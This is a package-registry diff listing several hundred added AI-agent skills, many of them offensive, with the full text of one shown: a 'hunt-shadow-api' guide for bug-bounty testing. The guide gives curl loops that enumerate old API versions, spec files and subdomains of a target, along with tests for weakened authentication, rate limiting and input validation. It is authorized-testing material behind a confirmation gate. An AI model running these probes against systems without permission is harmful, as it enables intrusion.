opencode-skills-collection 4.0.68 → 4.0.69
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +266 -1
- package/bundled-skills/access-review/SKILL.md +394 -0
- package/bundled-skills/access-review/references/details.md +121 -0
- package/bundled-skills/agent-evals/SKILL.md +420 -0
- package/bundled-skills/agent-observability/SKILL.md +346 -0
- package/bundled-skills/agent-observability/references/details.md +786 -0
- package/bundled-skills/ai-agent-security/SKILL.md +393 -0
- package/bundled-skills/ai-agent-security/references/details.md +912 -0
- package/bundled-skills/ai-coding-agent-guardrails/SKILL.md +442 -0
- package/bundled-skills/ai-coding-agent-guardrails/references/details.md +753 -0
- package/bundled-skills/ai-inference-service-mesh/SKILL.md +449 -0
- package/bundled-skills/ai-pipeline-orchestration/SKILL.md +287 -0
- package/bundled-skills/ai-red-teaming/SKILL.md +409 -0
- package/bundled-skills/ai-security-hardening/SKILL.md +343 -0
- package/bundled-skills/ai-sre-incident-response/SKILL.md +336 -0
- package/bundled-skills/alerting-oncall/SKILL.md +458 -0
- package/bundled-skills/alerting-oncall/references/details.md +84 -0
- package/bundled-skills/apk-redteam-pipeline/SKILL.md +446 -0
- package/bundled-skills/argocd-gitops/SKILL.md +469 -0
- package/bundled-skills/arm-templates/SKILL.md +438 -0
- package/bundled-skills/arm-templates/references/details.md +64 -0
- package/bundled-skills/asset-inventory/SKILL.md +412 -0
- package/bundled-skills/asset-inventory/references/details.md +127 -0
- package/bundled-skills/audit-logging/SKILL.md +476 -0
- package/bundled-skills/aws-cloudtrail/SKILL.md +486 -0
- package/bundled-skills/aws-cost-optimization/SKILL.md +331 -0
- package/bundled-skills/aws-ec2/SKILL.md +426 -0
- package/bundled-skills/aws-ecs-fargate/SKILL.md +388 -0
- package/bundled-skills/aws-iam/SKILL.md +463 -0
- package/bundled-skills/aws-lambda/SKILL.md +428 -0
- package/bundled-skills/aws-rds/SKILL.md +380 -0
- package/bundled-skills/aws-s3/SKILL.md +434 -0
- package/bundled-skills/aws-secrets-manager/SKILL.md +486 -0
- package/bundled-skills/aws-vpc/SKILL.md +436 -0
- package/bundled-skills/azure-ai-document-intelligence-ts/SKILL.md +1 -1
- package/bundled-skills/azure-aks/SKILL.md +423 -0
- package/bundled-skills/azure-devops/SKILL.md +457 -0
- package/bundled-skills/azure-functions-devsec/SKILL.md +436 -0
- package/bundled-skills/azure-keyvault/SKILL.md +455 -0
- package/bundled-skills/azure-keyvault/references/details.md +83 -0
- package/bundled-skills/azure-monitor-audit/SKILL.md +379 -0
- package/bundled-skills/azure-networking/SKILL.md +448 -0
- package/bundled-skills/azure-networking/references/details.md +135 -0
- package/bundled-skills/azure-sql/SKILL.md +413 -0
- package/bundled-skills/azure-sql/references/details.md +113 -0
- package/bundled-skills/azure-vms/SKILL.md +402 -0
- package/bundled-skills/azure-vms/references/details.md +134 -0
- package/bundled-skills/backup-recovery/SKILL.md +388 -0
- package/bundled-skills/bb-methodology/SKILL.md +451 -0
- package/bundled-skills/bb-methodology/references/details.md +120 -0
- package/bundled-skills/block-storage/SKILL.md +371 -0
- package/bundled-skills/blue-green-deploy/SKILL.md +453 -0
- package/bundled-skills/blue-green-deploy/references/details.md +90 -0
- package/bundled-skills/bug-bounty/SKILL.md +447 -0
- package/bundled-skills/bug-bounty/references/details.md +1316 -0
- package/bundled-skills/bugcrowd-reporting/SKILL.md +351 -0
- package/bundled-skills/business-continuity/SKILL.md +463 -0
- package/bundled-skills/career-ops/SKILL.md +186 -0
- package/bundled-skills/cdn-setup/SKILL.md +374 -0
- package/bundled-skills/change-management/SKILL.md +438 -0
- package/bundled-skills/change-management/references/details.md +105 -0
- package/bundled-skills/circleci/SKILL.md +475 -0
- package/bundled-skills/cis-benchmarks/SKILL.md +150 -0
- package/bundled-skills/cloudflare-pages/SKILL.md +318 -0
- package/bundled-skills/cloudflare-r2/SKILL.md +353 -0
- package/bundled-skills/cloudflare-workers/SKILL.md +415 -0
- package/bundled-skills/cloudflare-zero-trust/SKILL.md +361 -0
- package/bundled-skills/cloudformation/SKILL.md +461 -0
- package/bundled-skills/constraint-driven-development/SKILL.md +335 -0
- package/bundled-skills/constraint-driven-development/references/floor-guard.md +99 -0
- package/bundled-skills/container-hardening/SKILL.md +126 -0
- package/bundled-skills/container-registries/SKILL.md +435 -0
- package/bundled-skills/container-scanning/SKILL.md +416 -0
- package/bundled-skills/convex-backend/SKILL.md +338 -0
- package/bundled-skills/dast-scanning/SKILL.md +437 -0
- package/bundled-skills/database-backups/SKILL.md +425 -0
- package/bundled-skills/datadog/SKILL.md +487 -0
- package/bundled-skills/dependency-scanning/SKILL.md +457 -0
- package/bundled-skills/devcontainers-nix/SKILL.md +416 -0
- package/bundled-skills/disaster-recovery/SKILL.md +374 -0
- package/bundled-skills/disaster-recovery/references/details.md +219 -0
- package/bundled-skills/dns-management/SKILL.md +375 -0
- package/bundled-skills/docker-compose/SKILL.md +482 -0
- package/bundled-skills/docker-management/SKILL.md +426 -0
- package/bundled-skills/ebpf-observability/SKILL.md +436 -0
- package/bundled-skills/ebpf-observability/references/details.md +542 -0
- package/bundled-skills/elk-stack/SKILL.md +487 -0
- package/bundled-skills/enterprise-vpn-attack/SKILL.md +395 -0
- package/bundled-skills/evidence-hygiene/SKILL.md +404 -0
- package/bundled-skills/feature-flags/SKILL.md +426 -0
- package/bundled-skills/feature-flags/references/details.md +86 -0
- package/bundled-skills/fedramp-compliance/SKILL.md +453 -0
- package/bundled-skills/firebase-app-platform/SKILL.md +381 -0
- package/bundled-skills/firewall-config/SKILL.md +479 -0
- package/bundled-skills/gcp-audit-logs/SKILL.md +452 -0
- package/bundled-skills/gcp-audit-logs/references/details.md +56 -0
- package/bundled-skills/gcp-cloud-functions/SKILL.md +284 -0
- package/bundled-skills/gcp-cloud-sql/SKILL.md +277 -0
- package/bundled-skills/gcp-compute/SKILL.md +319 -0
- package/bundled-skills/gcp-gke/SKILL.md +307 -0
- package/bundled-skills/gcp-networking/SKILL.md +293 -0
- package/bundled-skills/gcp-secret-manager/SKILL.md +421 -0
- package/bundled-skills/gcp-secret-manager/references/details.md +131 -0
- package/bundled-skills/gdpr-compliance/SKILL.md +451 -0
- package/bundled-skills/gdpr-compliance/references/details.md +145 -0
- package/bundled-skills/geo-audit/SKILL.md +368 -0
- package/bundled-skills/geo-brand-mentions/SKILL.md +68 -0
- package/bundled-skills/geo-brand-mentions/references/details.md +471 -0
- package/bundled-skills/geo-citability/SKILL.md +350 -0
- package/bundled-skills/geo-compare/SKILL.md +340 -0
- package/bundled-skills/geo-content/SKILL.md +383 -0
- package/bundled-skills/geo-crawlers/SKILL.md +408 -0
- package/bundled-skills/geo-llmstxt/SKILL.md +464 -0
- package/bundled-skills/geo-platform-optimizer/SKILL.md +314 -0
- package/bundled-skills/geo-proposal/SKILL.md +378 -0
- package/bundled-skills/geo-prospect/SKILL.md +225 -0
- package/bundled-skills/geo-report/SKILL.md +436 -0
- package/bundled-skills/geo-report-pdf/SKILL.md +157 -0
- package/bundled-skills/geo-schema/SKILL.md +408 -0
- package/bundled-skills/geo-technical/SKILL.md +78 -0
- package/bundled-skills/geo-technical/references/details.md +543 -0
- package/bundled-skills/git-workflow/SKILL.md +460 -0
- package/bundled-skills/github-actions/SKILL.md +368 -0
- package/bundled-skills/gitlab-ci/SKILL.md +340 -0
- package/bundled-skills/gpu-kubernetes-operations/SKILL.md +468 -0
- package/bundled-skills/gpu-server-management/SKILL.md +236 -0
- package/bundled-skills/hashicorp-vault/SKILL.md +408 -0
- package/bundled-skills/helm-charts/SKILL.md +469 -0
- package/bundled-skills/hipaa-compliance/SKILL.md +451 -0
- package/bundled-skills/hunt-aspnet/SKILL.md +321 -0
- package/bundled-skills/hunt-ato/SKILL.md +184 -0
- package/bundled-skills/hunt-auth-bypass/SKILL.md +426 -0
- package/bundled-skills/hunt-auth-bypass/references/details.md +80 -0
- package/bundled-skills/hunt-brute-force/SKILL.md +341 -0
- package/bundled-skills/hunt-business-logic/SKILL.md +281 -0
- package/bundled-skills/hunt-cache-poison/SKILL.md +382 -0
- package/bundled-skills/hunt-captcha-bypass/SKILL.md +136 -0
- package/bundled-skills/hunt-cicd/SKILL.md +311 -0
- package/bundled-skills/hunt-clickjacking/SKILL.md +110 -0
- package/bundled-skills/hunt-cors/SKILL.md +335 -0
- package/bundled-skills/hunt-dom/SKILL.md +323 -0
- package/bundled-skills/hunt-exceptional-conditions/SKILL.md +111 -0
- package/bundled-skills/hunt-file-upload/SKILL.md +202 -0
- package/bundled-skills/hunt-fintech-graphql/SKILL.md +289 -0
- package/bundled-skills/hunt-forgot-password/SKILL.md +114 -0
- package/bundled-skills/hunt-grpc/SKILL.md +317 -0
- package/bundled-skills/hunt-host-header/SKILL.md +309 -0
- package/bundled-skills/hunt-html-injection/SKILL.md +106 -0
- package/bundled-skills/hunt-http-smuggling/SKILL.md +129 -0
- package/bundled-skills/hunt-http-smuggling/references/phase2h-smuggling-cachepoison.md +177 -0
- package/bundled-skills/hunt-idor/SKILL.md +434 -0
- package/bundled-skills/hunt-jwt-crypto/SKILL.md +221 -0
- package/bundled-skills/hunt-k8s/SKILL.md +337 -0
- package/bundled-skills/hunt-laravel/SKILL.md +255 -0
- package/bundled-skills/hunt-ldap/SKILL.md +351 -0
- package/bundled-skills/hunt-lfi/SKILL.md +311 -0
- package/bundled-skills/hunt-llm-ai/SKILL.md +289 -0
- package/bundled-skills/hunt-mfa-bypass/SKILL.md +177 -0
- package/bundled-skills/hunt-misc/SKILL.md +378 -0
- package/bundled-skills/hunt-nextjs/SKILL.md +299 -0
- package/bundled-skills/hunt-nodejs/SKILL.md +263 -0
- package/bundled-skills/hunt-nosqli/SKILL.md +210 -0
- package/bundled-skills/hunt-ntlm-info/SKILL.md +314 -0
- package/bundled-skills/hunt-oauth/SKILL.md +459 -0
- package/bundled-skills/hunt-open-redirect/SKILL.md +223 -0
- package/bundled-skills/hunt-race-condition/SKILL.md +381 -0
- package/bundled-skills/hunt-race-condition/references/details.md +159 -0
- package/bundled-skills/hunt-rag-vector/SKILL.md +212 -0
- package/bundled-skills/hunt-rce/SKILL.md +444 -0
- package/bundled-skills/hunt-rce/references/details.md +110 -0
- package/bundled-skills/hunt-saml/SKILL.md +156 -0
- package/bundled-skills/hunt-session/SKILL.md +342 -0
- package/bundled-skills/hunt-shadow-api/SKILL.md +198 -0
- package/bundled-skills/hunt-source-leak/SKILL.md +345 -0
- package/bundled-skills/hunt-spa-api/SKILL.md +163 -0
- package/bundled-skills/hunt-springboot/SKILL.md +285 -0
- package/bundled-skills/hunt-sqli/SKILL.md +466 -0
- package/bundled-skills/hunt-ssrf/SKILL.md +396 -0
- package/bundled-skills/hunt-ssrf/references/details.md +179 -0
- package/bundled-skills/hunt-ssti/SKILL.md +163 -0
- package/bundled-skills/hunt-subdomain/SKILL.md +379 -0
- package/bundled-skills/hunt-tls-network/SKILL.md +399 -0
- package/bundled-skills/hunt-xxe/SKILL.md +466 -0
- package/bundled-skills/i-have-adhd/SKILL.md +170 -0
- package/bundled-skills/identity-access-management/SKILL.md +382 -0
- package/bundled-skills/identity-access-management/references/details.md +524 -0
- package/bundled-skills/incident-management/SKILL.md +484 -0
- package/bundled-skills/incident-response/SKILL.md +448 -0
- package/bundled-skills/incident-response/references/details.md +113 -0
- package/bundled-skills/interview-me/SKILL.md +248 -0
- package/bundled-skills/iso27001-compliance/SKILL.md +460 -0
- package/bundled-skills/jenkins/SKILL.md +462 -0
- package/bundled-skills/jev-use/SKILL.md +158 -0
- package/bundled-skills/kubernetes-hardening/SKILL.md +154 -0
- package/bundled-skills/kubernetes-ops/SKILL.md +449 -0
- package/bundled-skills/kubernetes-ops/references/details.md +108 -0
- package/bundled-skills/kustomize/SKILL.md +478 -0
- package/bundled-skills/linux-administration/SKILL.md +367 -0
- package/bundled-skills/linux-hardening/SKILL.md +154 -0
- package/bundled-skills/llm-app-security/SKILL.md +389 -0
- package/bundled-skills/llm-app-security/references/details.md +674 -0
- package/bundled-skills/llm-caching/SKILL.md +334 -0
- package/bundled-skills/llm-cost-optimization/SKILL.md +311 -0
- package/bundled-skills/llm-fine-tuning/SKILL.md +329 -0
- package/bundled-skills/llm-gateway/SKILL.md +282 -0
- package/bundled-skills/llm-inference-scaling/SKILL.md +286 -0
- package/bundled-skills/llmops-platform-engineering/SKILL.md +472 -0
- package/bundled-skills/load-balancing/SKILL.md +403 -0
- package/bundled-skills/loki-logging/SKILL.md +479 -0
- package/bundled-skills/m365-entra-attack/SKILL.md +423 -0
- package/bundled-skills/mac-mini-llm-lab/SKILL.md +350 -0
- package/bundled-skills/mcp-server-security/SKILL.md +356 -0
- package/bundled-skills/mcp-server-security/references/details.md +745 -0
- package/bundled-skills/mdm-device-management/SKILL.md +404 -0
- package/bundled-skills/mdm-device-management/references/details.md +410 -0
- package/bundled-skills/meme-coin-audit/SKILL.md +402 -0
- package/bundled-skills/mid-engagement-ir-detection/SKILL.md +377 -0
- package/bundled-skills/model-registry-governance/SKILL.md +452 -0
- package/bundled-skills/model-serving-kubernetes/SKILL.md +339 -0
- package/bundled-skills/model-supply-chain-security/SKILL.md +427 -0
- package/bundled-skills/mongodb/SKILL.md +436 -0
- package/bundled-skills/multi-tenant-llm-hosting/SKILL.md +435 -0
- package/bundled-skills/multi-tenant-llm-hosting/references/details.md +211 -0
- package/bundled-skills/mysql/SKILL.md +390 -0
- package/bundled-skills/new-relic/SKILL.md +472 -0
- package/bundled-skills/nfs-storage/SKILL.md +356 -0
- package/bundled-skills/object-storage/SKILL.md +378 -0
- package/bundled-skills/offensive-osint/SKILL.md +443 -0
- package/bundled-skills/okta-attack/SKILL.md +436 -0
- package/bundled-skills/ollama-stack/SKILL.md +379 -0
- package/bundled-skills/openclaw-deployment-hardening/SKILL.md +135 -0
- package/bundled-skills/openclaw-local-mac-mini/SKILL.md +426 -0
- package/bundled-skills/openclaw-local-mac-mini/references/details.md +221 -0
- package/bundled-skills/openclaw-security-hardening/SKILL.md +135 -0
- package/bundled-skills/openshift/SKILL.md +485 -0
- package/bundled-skills/opentelemetry/SKILL.md +438 -0
- package/bundled-skills/opentelemetry/references/details.md +78 -0
- package/bundled-skills/opentofu-migration/SKILL.md +349 -0
- package/bundled-skills/osint-methodology/SKILL.md +460 -0
- package/bundled-skills/osint-methodology/references/details.md +1350 -0
- package/bundled-skills/pci-dss-compliance/SKILL.md +446 -0
- package/bundled-skills/penetration-testing/SKILL.md +152 -0
- package/bundled-skills/performance-tuning/SKILL.md +381 -0
- package/bundled-skills/planetscale/SKILL.md +297 -0
- package/bundled-skills/platform-engineering/SKILL.md +348 -0
- package/bundled-skills/platform-engineering/references/details.md +944 -0
- package/bundled-skills/podman/SKILL.md +405 -0
- package/bundled-skills/policy-as-code/SKILL.md +434 -0
- package/bundled-skills/policy-as-code/references/details.md +204 -0
- package/bundled-skills/postgresql-devsec/SKILL.md +378 -0
- package/bundled-skills/prometheus-grafana/SKILL.md +469 -0
- package/bundled-skills/prompt-injection-defense/SKILL.md +483 -0
- package/bundled-skills/rag-infrastructure/SKILL.md +269 -0
- package/bundled-skills/rag-observability-evals/SKILL.md +444 -0
- package/bundled-skills/rag-observability-evals/references/details.md +92 -0
- package/bundled-skills/recon-scope-triage/SKILL.md +128 -0
- package/bundled-skills/redis/SKILL.md +421 -0
- package/bundled-skills/redteam-report-template/SKILL.md +370 -0
- package/bundled-skills/report-writing/SKILL.md +426 -0
- package/bundled-skills/report-writing/references/details.md +187 -0
- package/bundled-skills/reverse-proxy/SKILL.md +420 -0
- package/bundled-skills/runbook-creation/SKILL.md +438 -0
- package/bundled-skills/runbook-creation/references/details.md +71 -0
- package/bundled-skills/saas-security-posture/SKILL.md +415 -0
- package/bundled-skills/sast-scanning/SKILL.md +444 -0
- package/bundled-skills/sbom-supply-chain/SKILL.md +433 -0
- package/bundled-skills/security-arsenal/SKILL.md +446 -0
- package/bundled-skills/security-arsenal/references/details.md +540 -0
- package/bundled-skills/security-automation/SKILL.md +146 -0
- package/bundled-skills/semantic-versioning/SKILL.md +434 -0
- package/bundled-skills/semantic-versioning/references/details.md +83 -0
- package/bundled-skills/service-mesh/SKILL.md +422 -0
- package/bundled-skills/soc2-compliance/SKILL.md +409 -0
- package/bundled-skills/sops-encryption/SKILL.md +124 -0
- package/bundled-skills/sre-dashboards/SKILL.md +143 -0
- package/bundled-skills/ssh-configuration/SKILL.md +324 -0
- package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
- package/bundled-skills/ssl-tls-management/references/details.md +99 -0
- package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
- package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
- package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
- package/bundled-skills/systemd-services/SKILL.md +379 -0
- package/bundled-skills/terraform-aws/SKILL.md +125 -0
- package/bundled-skills/terraform-azure/SKILL.md +415 -0
- package/bundled-skills/terraform-azure/references/details.md +231 -0
- package/bundled-skills/terraform-gcp/SKILL.md +369 -0
- package/bundled-skills/threat-modeling/SKILL.md +487 -0
- package/bundled-skills/user-management/SKILL.md +383 -0
- package/bundled-skills/using-agent-skills/SKILL.md +220 -0
- package/bundled-skills/vector-database-ops/SKILL.md +300 -0
- package/bundled-skills/vendor-management/SKILL.md +439 -0
- package/bundled-skills/vendor-management/references/details.md +109 -0
- package/bundled-skills/vercel-deployments/SKILL.md +296 -0
- package/bundled-skills/vllm-server/SKILL.md +236 -0
- package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
- package/bundled-skills/vpn-setup/SKILL.md +452 -0
- package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
- package/bundled-skills/waf-setup/SKILL.md +354 -0
- package/bundled-skills/waf-setup/references/details.md +211 -0
- package/bundled-skills/web2-recon/SKILL.md +440 -0
- package/bundled-skills/web2-recon/references/details.md +319 -0
- package/bundled-skills/web3-audit/SKILL.md +445 -0
- package/bundled-skills/web3-audit/references/details.md +224 -0
- package/bundled-skills/windows-hardening/SKILL.md +454 -0
- package/bundled-skills/windows-hardening/references/details.md +204 -0
- package/bundled-skills/windows-server/SKILL.md +318 -0
- package/bundled-skills/zero-trust/SKILL.md +461 -0
- package/package.json +1 -1
- package/skills_index.json +6943 -323
|
@@ -0,0 +1,198 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-shadow-api
|
|
3
|
+
description: Hunt shadow / zombie / undocumented API surface (OWASP API9 Improper
|
|
4
|
+
Inventory Management)
|
|
5
|
+
category: security
|
|
6
|
+
risk: offensive
|
|
7
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
8
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
9
|
+
source_type: community
|
|
10
|
+
date_added: '2026-09-20'
|
|
11
|
+
license: MIT
|
|
12
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
13
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
14
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
15
|
+
not bundled.
|
|
16
|
+
sources: owasp_api_top10_2023, portswigger_research, public_research
|
|
17
|
+
report_count: 0
|
|
18
|
+
---
|
|
19
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
20
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
21
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
22
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
23
|
+
|
|
24
|
+
> **Mandatory confirmation gate**
|
|
25
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
26
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
27
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
28
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
29
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
30
|
+
>
|
|
31
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
32
|
+
|
|
33
|
+
## OWASP API9 — Improper Inventory Management (Shadow / Zombie APIs)
|
|
34
|
+
|
|
35
|
+
As an API evolves, old versions and internal/staging routes routinely stay reachable without
|
|
36
|
+
receiving the same security fixes as the current version — because nobody tracks that they
|
|
37
|
+
still exist. The bug is rarely in one endpoint; it's in the **delta** between what an old
|
|
38
|
+
version enforces and what the current version enforces on the same operation.
|
|
39
|
+
|
|
40
|
+
### When to use
|
|
41
|
+
|
|
42
|
+
Trigger when:
|
|
43
|
+
- Versioned paths are visible (`/v1/`, `/v2/`, `/api/2023-01-01/`) or `Accept`/`X-API-Version`
|
|
44
|
+
headers are in play.
|
|
45
|
+
- A changelog, release notes, or deprecation notice references removed/old API behavior.
|
|
46
|
+
- A mobile APK/IPA (via `apk-redteam-pipeline` / `ios-redteam-pipeline`) hardcodes endpoints
|
|
47
|
+
that look like an older backend version than the current web app calls.
|
|
48
|
+
- Multiple OpenAPI/Swagger specs are discoverable, or `info.version` in one spec implies others
|
|
49
|
+
exist.
|
|
50
|
+
|
|
51
|
+
DO NOT use for single-version APIs with no version history — there's nothing to diff; go
|
|
52
|
+
straight to `hunt-api-misconfig` for direct exploitation of the one surface that exists.
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
## Stage 1 — Enumerate the Full Version Surface
|
|
57
|
+
|
|
58
|
+
```bash
|
|
59
|
+
# Path-based versioning
|
|
60
|
+
for v in v1 v2 v3 v4 beta alpha internal legacy old 2022-01-01 2023-01-01 2024-01-01; do
|
|
61
|
+
curl -s -o /dev/null -w "%{http_code} /api/$v/\n" "https://$TARGET/api/$v/"
|
|
62
|
+
done
|
|
63
|
+
|
|
64
|
+
# Header-based versioning
|
|
65
|
+
curl -s -H "X-API-Version: 1" https://$TARGET/api/users
|
|
66
|
+
curl -s -H "Accept: application/vnd.company.v1+json" https://$TARGET/api/users
|
|
67
|
+
|
|
68
|
+
# Subdomain-based versioning
|
|
69
|
+
for sub in api api-v1 api-v2 apiv1 apiv2 legacy-api old-api internal-api staging-api; do
|
|
70
|
+
curl -s -o /dev/null -w "%{http_code} $sub\n" "https://$sub.$TARGET/"
|
|
71
|
+
done
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
A `200`/`401`/`403` on an old version path (anything but `404`/connection-refused) means the
|
|
75
|
+
version is still live and worth carrying into Stage 3, even if it demands auth.
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
|
|
79
|
+
## Stage 2 — Pull Every Reachable Spec, Not Just the Linked One
|
|
80
|
+
|
|
81
|
+
```bash
|
|
82
|
+
for path in openapi.json swagger.json v1/swagger.json v2/swagger.json v3/api-docs \
|
|
83
|
+
api-docs.json swagger/v1/swagger.json .well-known/openapi.json; do
|
|
84
|
+
curl -s -o /dev/null -w "%{http_code} /$path\n" "https://$TARGET/$path"
|
|
85
|
+
done
|
|
86
|
+
|
|
87
|
+
# Wayback Machine — a DEPRECATED version's spec often stays indexed after the live link is removed
|
|
88
|
+
curl -s "http://web.archive.org/cdx/search/cdx?url=$TARGET/*swagger*&output=json&collapse=urlkey"
|
|
89
|
+
curl -s "http://web.archive.org/cdx/search/cdx?url=$TARGET/*openapi*&output=json&collapse=urlkey"
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
When more than one spec resolves (a current one and an archived/old one), diff the endpoint
|
|
93
|
+
inventories directly:
|
|
94
|
+
```bash
|
|
95
|
+
jq -r '.paths | keys[]' v1-swagger.json | sort > /tmp/v1_paths.txt
|
|
96
|
+
jq -r '.paths | keys[]' v2-swagger.json | sort > /tmp/v2_paths.txt
|
|
97
|
+
comm -23 /tmp/v1_paths.txt /tmp/v2_paths.txt # in v1 only — candidates for "still live but forgotten"
|
|
98
|
+
```
|
|
99
|
+
For every path in that diff, confirm it's still reachable against the v1 base URL. A route
|
|
100
|
+
documented only in the old spec that still returns something other than `404` is a zombie-
|
|
101
|
+
endpoint candidate — carry it into Stage 3.
|
|
102
|
+
|
|
103
|
+
---
|
|
104
|
+
|
|
105
|
+
## Stage 3 — Behavioral Diff Between Old and Current Version
|
|
106
|
+
|
|
107
|
+
For each operation that exists in **both** versions, compare security-relevant behavior, not
|
|
108
|
+
response shape. Response shape differences are Informational; behavioral security regressions
|
|
109
|
+
are the finding.
|
|
110
|
+
|
|
111
|
+
- **Auth strength.** Does the old version accept no token, an expired token, or a lower-
|
|
112
|
+
privilege token that the current version rejects?
|
|
113
|
+
```bash
|
|
114
|
+
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" https://$TARGET/api/v1/users/me -w '\n%{http_code}\n'
|
|
115
|
+
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" https://$TARGET/api/v2/users/me -w '\n%{http_code}\n'
|
|
116
|
+
```
|
|
117
|
+
- **Rate limiting.** Burst the same number of requests against both versions' equivalent
|
|
118
|
+
endpoint; a missing `429` on the old version means rate-limiting was added later and never
|
|
119
|
+
backported.
|
|
120
|
+
- **Input validation.** Send the identical injection/oversized/malformed payload to both; the
|
|
121
|
+
old version accepting what the new one rejects means hardening happened forward-only —
|
|
122
|
+
chain into whichever injection class the payload targets (`hunt-sqli`, `hunt-idor`, etc.).
|
|
123
|
+
- **Field exposure.** Does the old version's response body include fields — internal IDs, other
|
|
124
|
+
users' data, internal notes, PII — that the current version has since redacted?
|
|
125
|
+
|
|
126
|
+
---
|
|
127
|
+
|
|
128
|
+
## Stage 4 — Deprecated / Internal Routes Never Referenced by the Current UI
|
|
129
|
+
|
|
130
|
+
- Grep JS bundles for API calls no visible UI flow triggers (`/internal/`, `/admin/`, `/debug/`,
|
|
131
|
+
`/_internal/`, `/test/`, `/staging/`) — reuse `hunt-source-leak`'s JS-bundle grep patterns for
|
|
132
|
+
this specifically.
|
|
133
|
+
- Check `robots.txt` / `sitemap.xml` for disallowed API paths — a self-inflicted disclosure.
|
|
134
|
+
- Mobile-app endpoint inventories (via `apk-redteam-pipeline` / `ios-redteam-pipeline`) very
|
|
135
|
+
often reference an older backend version than the current web app calls. Treat every
|
|
136
|
+
APK/IPA-sourced endpoint as a version-diff candidate against the live web API.
|
|
137
|
+
|
|
138
|
+
---
|
|
139
|
+
|
|
140
|
+
## False-Positive Gate
|
|
141
|
+
|
|
142
|
+
- A version difference alone (different response shape, cosmetic field renaming) is
|
|
143
|
+
Informational. The finding is a **security-relevant regression** — auth, rate-limit, or
|
|
144
|
+
validation that got weaker going backward in version history.
|
|
145
|
+
- Confirm the old endpoint is not simply an alias/proxy to the current implementation before
|
|
146
|
+
claiming a behavioral difference — send a payload that would actually behave differently
|
|
147
|
+
under old vs. new logic, not just compare a version string in the response body.
|
|
148
|
+
- A `200` on a path that just serves a static "this API version is deprecated, use v2" message
|
|
149
|
+
is not a finding — confirm the underlying operation still executes.
|
|
150
|
+
|
|
151
|
+
---
|
|
152
|
+
|
|
153
|
+
## Severity Table
|
|
154
|
+
|
|
155
|
+
| Finding | Severity |
|
|
156
|
+
|---|---|
|
|
157
|
+
| Old version bypasses auth entirely where current version requires it | Critical |
|
|
158
|
+
| Old version missing rate-limit present on current version | Medium–High (chain via `hunt-brute-force`) |
|
|
159
|
+
| Old version leaks extra fields (PII, internal IDs) vs. current | Medium–High |
|
|
160
|
+
| Old version accepts payloads the current version now validates/sanitizes | High (chain to the underlying injection class) |
|
|
161
|
+
| Version is reachable but behaviorally identical to current | Informational |
|
|
162
|
+
|
|
163
|
+
---
|
|
164
|
+
|
|
165
|
+
## Related Skills & Chains
|
|
166
|
+
|
|
167
|
+
- **`hunt-api-misconfig`** — owns exploitation once a spec or endpoint is in hand (mass
|
|
168
|
+
assignment, JWT attacks, OData, Swagger-chain attacks). This skill hands it a sharper target:
|
|
169
|
+
"here's a zombie endpoint with weaker validation than the current one."
|
|
170
|
+
- **`hunt-subdomain`** — owns host/subdomain-level discovery (`api-v1.target.com` as its own
|
|
171
|
+
host, potential takeover). This skill owns what happens once you're inside a given host's
|
|
172
|
+
version surface.
|
|
173
|
+
- **`hunt-source-leak`** — JS-bundle grep for internal/undocumented calls; reused here
|
|
174
|
+
specifically for version-diffing rather than secret extraction.
|
|
175
|
+
- **`apk-redteam-pipeline`** / **`ios-redteam-pipeline`** — mobile builds routinely hardcode an
|
|
176
|
+
older API version; every mobile-sourced endpoint is a version-diff candidate.
|
|
177
|
+
- **`hunt-brute-force`** — a rate-limit regression found here is only a complete finding once
|
|
178
|
+
chained to actual brute-forceable impact (login, OTP, enumeration).
|
|
179
|
+
|
|
180
|
+
## When to Use
|
|
181
|
+
|
|
182
|
+
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
|
|
183
|
+
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
|
|
184
|
+
|
|
185
|
+
## Limitations
|
|
186
|
+
|
|
187
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
188
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
189
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
190
|
+
|
|
191
|
+
### Example
|
|
192
|
+
|
|
193
|
+
```bash
|
|
194
|
+
# Read-only first step; confirm scope before anything active.
|
|
195
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
